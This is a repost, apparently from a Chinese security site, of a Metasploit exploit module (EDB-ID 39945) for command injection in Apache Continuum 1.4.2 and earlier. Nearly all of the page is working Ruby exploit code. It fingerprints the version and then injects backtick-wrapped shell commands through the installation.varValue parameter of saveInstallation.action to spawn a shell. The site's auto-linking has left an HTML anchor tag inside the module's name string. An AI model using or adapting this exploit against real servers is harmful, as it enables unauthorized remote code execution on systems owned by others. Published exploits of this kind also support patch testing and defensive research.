Apache Continuum Arbitrary Command Execution

  • A+
所属分类:系统安全

EDB-ID: 39945 Author: metasploit CVE: N/A
Published: 2016-06-14 Type: Remote Platform: Linux

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; '<a href="https://www.404sec.com/tag/apache-continuum-arbitrary-command-execution/" title="查看与 Apache Continuum Arbitrary Command Execution 相关的文章" target="_blank">Apache Continuum Arbitrary Command Execution</a>',
      'Description'    =&gt; %q{
        This module exploits a command injection in Apache Continuum &lt;= 1.4.2.
        By injecting a command into the installation.varValue POST parameter to
        /continuum/saveInstallation.action, a shell can be spawned.
      },
      'Author'         =&gt; [
        'David Shanahan', # Proof of concept
        'wvu'             # Metasploit module
      ],
      'References'     =&gt; [
        %w{EDB 39886}
      ],
      'DisclosureDate' =&gt; 'Apr 6 2016',
      'License'        =&gt; MSF_LICENSE,
      'Platform'       =&gt; 'linux',
      'Arch'           =&gt; [ARCH_X86, ARCH_X86_64],
      'Privileged'     =&gt; false,
      'Targets'        =&gt; [
        ['Apache Continuum &lt;= 1.4.2', {}]
      ],
      'DefaultTarget'  =&gt; 0
    ))
    register_options([
      Opt::RPORT(8080)
    ])
  end
  def check
    res = send_request_cgi(
      'method' =&gt; 'GET',
      'uri'    =&gt; '/continuum/about.action'
    )
    if res &amp;&amp; res.body.include?('1.4.2')
      CheckCode::Appears
    elsif res &amp;&amp; res.code == 200
      CheckCode::Detected
    else
      CheckCode::Safe
    end
  end
  def exploit
    print_status('Injecting CmdStager payload...')
    execute_cmdstager(flavor: :bourne)
  end
  def execute_command(cmd, opts = {})
    send_request_cgi(
      'method'    =&gt; 'POST',
      'uri'       =&gt; '/continuum/saveInstallation.action',
      'vars_post' =&gt; {
        'installation.name'     =&gt; Rex::Text.rand_text_alpha(8),
        'installation.type'     =&gt; 'jdk',
        'installation.varValue' =&gt; '`' + cmd + '`'
      }
    )
  end
end

发表评论

您必须才能发表评论!